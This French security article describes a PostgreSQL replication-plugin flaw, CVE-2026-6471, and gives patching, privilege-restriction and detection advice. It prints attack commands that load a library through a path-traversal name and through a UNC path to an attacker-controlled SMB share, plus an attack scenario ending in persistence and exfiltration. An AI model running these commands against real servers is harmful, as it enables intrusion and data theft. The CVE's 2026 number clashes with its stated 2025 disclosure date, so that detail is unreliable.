Faille PostgreSQL CVE-2026-6471 : 12 ans d’exposition et des correctifs urgents à déployer
Isidore Bellemare
Une équipe de chercheurs en sécurité de Cyera Research a révélé le 1er septembre 2025 une vulnérabilité critique affectant le moteur de base de données PostgreSQL. Baptisée PostGREShell et identifiée sous la référence CVE-2026-6471, cette faille PostgreSQL permet à un attaquant disposant d’un simple compte de réplication d’exécuter du code arbitraire sur le serveur cible. Le défaut réside dans le mécanisme de chargement des plugins de réplication logique, une fonctionnalité présente depuis la version 9.4 de PostgreSQL. En conséquence, le code vulnérable est resté exposé pendant plus de douze ans, sans être détecté. Vous allez découvrir en détail le fonctionnement de cette faille PostgreSQL, ses implications pour les entreprises françaises et les mesures à prendre pour vous en protéger.
PostGREShell : décryptage d’une faille PostgreSQL de 12 ans
Origine : la réplication logique PostgreSQL
La réplication logique est une fonctionnalité essentielle de PostgreSQL qui permet de streamer les modifications de la base de données vers des instances secondaires, des plateformes d’analyse, des outils de migration ou des services de capture de données (CDC). Pour consommer ces changements, un client crée un slot de réplication et spécifie le nom d’un plugin de sortie. Ce plugin est une bibliothèque compilée (fichier .so, .dll ou .dylib) que PostgreSQL charge dynamiquement dans son processus serveur pour formater les données répliquées. Ce mécanisme est largement utilisé dans les architectures haute disponibilité et les pipelines de données modernes.
SELECT * FROM pg_create_logical_replication_slot('slot_name', 'pgoutput');
Un défaut de validation persistant pendant 12 ans
Normalement, PostgreSQL limite le chargement de bibliothèques externes via la commande SQL LOAD à des répertoires approuvés, grâce à une fonction de vérification nommée check_restricted_library_name(). Cependant, Cyera Research a découvert que ce contrôle n’était pas appliqué lors de la création d’un slot de réplication. Ainsi, un utilisateur disposant du privilège REPLICATION peut fournir un nom de plugin contenant des chemins absolus, des séquences de traversée comme ../ ou des chemins UNC Windows.
CREATE_REPLICATION_SLOT malicious_slot PLUGIN '../../../tmp/exploit.so';
Invoquer cette commande fait charger la bibliothèque malveillante par PostgreSQL via les fonctions système dlopen() (Linux/macOS) ou LoadLibrary() (Windows). Le code de la bibliothèque s’exécute alors dans le processus serveur PostgreSQL. Notez que le privilège REPLICATION est généralement accordé à des utilisateurs de confiance pour les besoins de la réplication, ce qui en fait une cible privilégiée pour un attaquant ayant déjà compromis un compte à faibles privilèges.
« Une vulnérabilité critique PostgreSQL permet aux comptes de réplication à faibles privilèges d’exécuter du code contrôlé par l’attaquant, d’escalader vers le superutilisateur de la base de données et d’établir des backdoors persistantes sur les serveurs affectés. » - Cyera Research Report, septembre 2025.
Ce défaut est d’autant plus dangereux qu’il ne laisse aucune trace dans les logs SQL standards, car la création d’un slot de réplication est une opération normale. Les seuls indices résident dans le nom du plugin utilisé, qui peut sembler anormal.
Impact : du compte de réplication au contrôle complet du serveur
Élévation de privilèges en pratique
Une fois la bibliothèque chargée, le code s’exécute dans le processus serveur PostgreSQL avec les droits du compte de service PostgreSQL. L’attaquant peut alors manipuler la mémoire interne et les structures de catalogue pour s’octroyer les privilèges superutilisateur, contournant les vérifications SQL normales. Avec les droits superutilisateur, il est possible de lire toutes les données, d’accéder aux identifiants stockés, d’écrire des fichiers sur le système et, dans certaines configurations, d’exécuter des commandes système via des extensions comme pg_system ou COPY FROM PROGRAM. Un superutilisateur peut également modifier pg_hba.conf ou s’ajouter dans shared_preload_libraries pour assurer la persistence après redémarrage.
Scénarios d’exploitation selon l’environnement
- Sur Windows : l’attaquant peut héberger une DLL malveillante sur un partage SMB et fournir un chemin UNC au serveur. Si la connectivité SMB sortante est activée, PostgreSQL peut charger la DLL à distance sans que l’attaquant n’ait à écrire un fichier localement. Cela réduit considérablement les prérequis.
- Sur Linux et macOS : l’exploitation nécessite généralement que la bibliothèque soit déjà présente localement. Cependant, les systèmes utilisant le montage automatique NFS peuvent être exposés à une livraison à distance via des chemins réseau. De plus, si l’attaquant dispose d’un accès en écriture à un répertoire du système de fichiers (par exemple via un autre service vulnérable), il peut y déposer sa bibliothèque et l’utiliser.
- Dans tous les cas : l’exécution s’effectue avec les permissions du compte de service PostgreSQL, qui possède souvent un accès significatif au système. En contexte Docker, le conteneur peut s’exécuter avec des droits root, ce qui amplifie encore le danger.
| Vecteur d’attaque | Condition préalable | Difficulté | Portée potentielle |
|---|---|---|---|
| Chemin absolu local | Bibliothèque malveillante déjà présente sur le serveur | Faible | Exécution de code immédiate |
| Chemin UNC SMB (Windows) | Partage SMB accessible avec la DLL, trafic sortant autorisé | Moyenne | Aucune écriture locale requise |
| Montage NFS automount | Bibliothèque sur un volume NFS monté | Faible | Livraison via chemin réseau |
Selon l’analyse de Vladimir Tokarev, une chasse sur VirusTotal a révélé 114 plugins PostgreSQL suspects, comprenant des mineurs de cryptomonnaies, des trojans et des shells inversés. Bien que cela ne prouve pas une exploitation massive de CVE-2026-6471, cela illustre les risques liés aux extensions non fiables. Parmi ces échantillons, certains utilisaient des techniques avancées d’évasion pour masquer leur finalité.
Persistance après exploitation
Un plugin malveillant peut aller au-delà de l’exécution de code unique. Il peut installer un déclencheur (trigger) sur une table système pour s’exécuter à chaque démarrage de la base, ou ajouter sa bibliothèque dans shared_preload_libraries via ALTER SYSTEM SET. De plus, il peut modifier pg_hba.conf pour autoriser des connexions depuis des IP non autorisées. Ces modifications survivent à un redémarrage du service et rendent le nettoyage complexe.
Exemple concret : un cas français
Imaginons une grande entreprise française du secteur financier utilisant PostgreSQL pour son système de transaction et de comptabilité. Un attaquant ayant compromis un compte de réplication (par exemple via un phishing ou un mot de passe faible) pourrait exécuter un plugin malveillant qui exfiltre silencieusement les données de transactions et installe une porte dérobée persistante. La compromission pourrait rester inaperçue des semaines, car la création du slot utilise une fonctionnalité légitime. Les pare-feux internes doivent être configurés pour détecter toute tentative d’accès SMB sortant anormal.
Scénario détaillé :
- Un attaquant obtient un accès à un compte de réplication via un mot de passe faible ou une injection SQL.
- Il exécute
CREATE_REPLICATION_SLOT backdoor PLUGIN '\\\\attaquant-smb\\partage\\malicious.dll'sur le serveur Windows de la base de données. - PostgreSQL contacte le partage SMB, charge la DLL et exécute le code malveillant.
- Le code s’octroie les droits superutilisateur et lit les tables contenant les données clients.
- Il installe un déclencheur de persistence sur la table
pg_authidpour garantir un accès continu. - La violation de données est exfiltrée via des connexions HTTPS vers un serveur commande&contrôle.
Mesures correctives : comment sécuriser vos serveurs PostgreSQL face à CVE-2026-6471
Appliquer les correctifs de sécurité officiels
PostgreSQL a publié des mises à jour de sécurité pour toutes les versions supportées. Les administrateurs doivent les appliquer dès que possible. Les correctifs corrigent la validation du nom du plugin dans la fonction de réplication logique en intégrant la même vérification que celle utilisée pour la commande LOAD. Vérifiez que votre version est supérieure aux versions corrigées indiquées dans l’alerte (par exemple PostgreSQL 16.x corrigé). Si vous utilisez une version non supportée (comme 9.4 ou 10), vous devez migrer vers une version supportée ou appliquer un correctif de contournement.
Restreindre les privilèges de réplication
Le privilège REPLICATION est souvent accordé trop largement. Passez en revue les utilisateurs ayant ce privilège et révoquez-le pour ceux qui n’en ont pas strictement besoin. Utilisez des comptes dédiés pour la réplication et limitez leur origine réseau via pg_hba.conf. Par exemple :
# TYPE DATABASE USER ADDRESS METHOD
local replication replicator scram-sha-256
host replication replicator 192.168.1.0/24 scram-sha-256
Liste des actions urgentes
- Mettez à jour PostgreSQL vers la version corrigée. Consultez les annonces officielles pour connaître les numéros exacts.
- Révoquez ou désactivez tout compte REPLICATION non nécessaire. Utilisez
ALTER ROLE ... WITH NOREPLICATION. - Bloquez le trafic SMB sortant (port 445) et NFS (port 2049) depuis les serveurs de bases de données. Cela empêche les attaques UNC et NFS.
- Désactivez les services de montage automatique (autofs, etc.) si non indispensables.
- Surveillez les événements CREATE_REPLICATION_SLOT dans les logs, en particulier les noms contenant des caractères suspects comme
/,\,... - Auditez les plugins actuellement chargés via
pg_replication_slotset le répertoire des plugins (généralement$libdir).
Comment détecter une exploitation potentielle
L’absence de logs explicites rend la détection difficile. Cependant, les administrateurs peuvent utiliser les requêtes suivantes pour repérer des anomalies :
-- Lister les slots de réplication avec des noms de plugin non standards
SELECT slot_name, plugin, database FROM pg_replication_slots
WHERE plugin IS NOT NULL AND (plugin LIKE '%..%' OR plugin LIKE '%/%' OR plugin LIKE '%\\%');
-- Vérifier les plugins chargés actuellement (via shared_preload_libraries)
SELECT name, setting FROM pg_settings WHERE name = 'shared_preload_libraries';
De plus, une surveillance réseau peut détecter des connexions SMB ou NFS inhabituelles depuis le serveur de base de données. Un outil de détection des modifications de fichiers critiques (intégrité des fichiers) peut alerter en cas de changement dans pg_hba.conf ou postgresql.conf.
Indicateurs de compromission potentiels :
- Noms de plugins contenant des chemins absolus ou relatifs.
- Présence de bibliothèques partagées inattendues dans les répertoires de données ou de plugins.
- Fichiers modifiés dans
pg_hba.confoupostgresql.confsans aucune trace. - Connexions réseau sortantes vers des partages SMB ou NFS depuis le serveur de base de données.
- Rôles nouvellement créés avec l’attribut REPLICATION qui ne sont pas dans l’inventaire.
« La présence de plugins malveillants dans la nature souligne le risque des extensions non vérifiées. Chaque plugin chargé dans PostgreSQL doit être considéré comme une surface d’attaque potentielle. » - Vladimir Tokarev, chercheur.
Bloquer les vecteurs secondaires
En plus des correctifs, il est crucial de limiter les protocoles réseau non essentiels. Les serveurs de bases de données ne doivent pas avoir besoin d’accès SMB ou NFS sortant vers l’extérieur. Configurez les pare-feux pour bloquer ces protocoles par défaut. Si des montages NFS sont nécessaires, assurez-vous qu’ils sont en lecture seule et montés avec des options restrictives (noexec, nosuid).
Leçons pour la sécurité des bases de données en France
L’importance d’un durcissement continu
Cette vulnérabilité PostgreSQL démontre que même des composants fondamentaux peuvent contenir des failles dormantes. Les DBA et RSSI français doivent intégrer la sécurité des bases de données dans leurs plans de gestion des vulnérabilités. L’ANSSI recommande de suivre les guides de sécurisation des SGBD, comme son guide de sélection et de sécurisation des systèmes de gestion de bases de données. Nous rappelons l’importance de :
- Réaliser des audits réguliers des privilèges : utilisez des requêtes comme
SELECT rolname, rolreplication FROM pg_rolespour identifier les comptes à risque. - Mettre en place une surveillance des modifications de configuration : tout changement dans
pg_hba.conf,postgresql.confoushared_preload_librariesdoit être scruté. - Utiliser des outils de détection d’intrusion spécifiques aux bases de données (Database Activity Monitoring) qui peuvent analyser les requêtes SQL et les événements de réplication.
Une opportunité de renforcer la gouvernance des données
Les entreprises françaises soumises au RGPD doivent prendre cette faille au sérieux. Une exposition de données via une base de données compromise peut entraîner des sanctions. La mise en place de mesures techniques comme celles décrites ci-dessus est aussi une obligation de conformité (art. 32 du RGPD). Le signalement de cette vulnérabilité par Cyera est un rappel opportun pour revoir les processus de patch management et de contrôle d’accès.
Recommandations supplémentaires
Au-delà des actions immédiates, nous suggérons d’intégrer les pratiques suivantes dans votre stratégie à long terme :
- Segmentation des réseaux : placez les serveurs PostgreSQL dans une zone réseau spécifique avec un accès Internet restreint.
- Authentification forte : utilisez des certificats SSL/TLS ou des clés SSH pour les connexions de réplication plutôt que des mots de passe.
- Rotation des identifiants : renouvelez régulièrement les mots de passe des comptes de base de données et utilisez un coffre-fort de mots de passe.
- Plan de réponse aux incidents : préparez un scénario spécifique à une compromission de base de données incluant l’isolement, l’analyse forensique et la restauration.
Conclusion : une faille PostgreSQL qui exige une action rapide
La faille PostgreSQL CVE-2026-6471, ou PostGREShell, est une menace sérieuse pour toute organisation utilisant PostgreSQL pour des données critiques. Sa simplicité d’exploitation et sa longue période d’exposition en font une cible de choix pour les attaquants. Les mesures correctives sont connues : appliquer les patches, restreindre les comptes de réplication, bloquer les protocoles superflus et surveiller activement les activités anormales. Ne tardez pas à sécuriser vos instances PostgreSQL ; chaque jour de retard augmente le risque d’une compromission irréversible. En outre, cette vulnérabilité rappelle qu’aucun composant n’est à l’abri de failles dormantes et que la sécurité d’une base de données doit être un processus continu. N’hésitez pas à consulter les ressources officielles de PostgreSQL et de l’ANSSI pour rester informé des dernières menaces et des bonnes pratiques.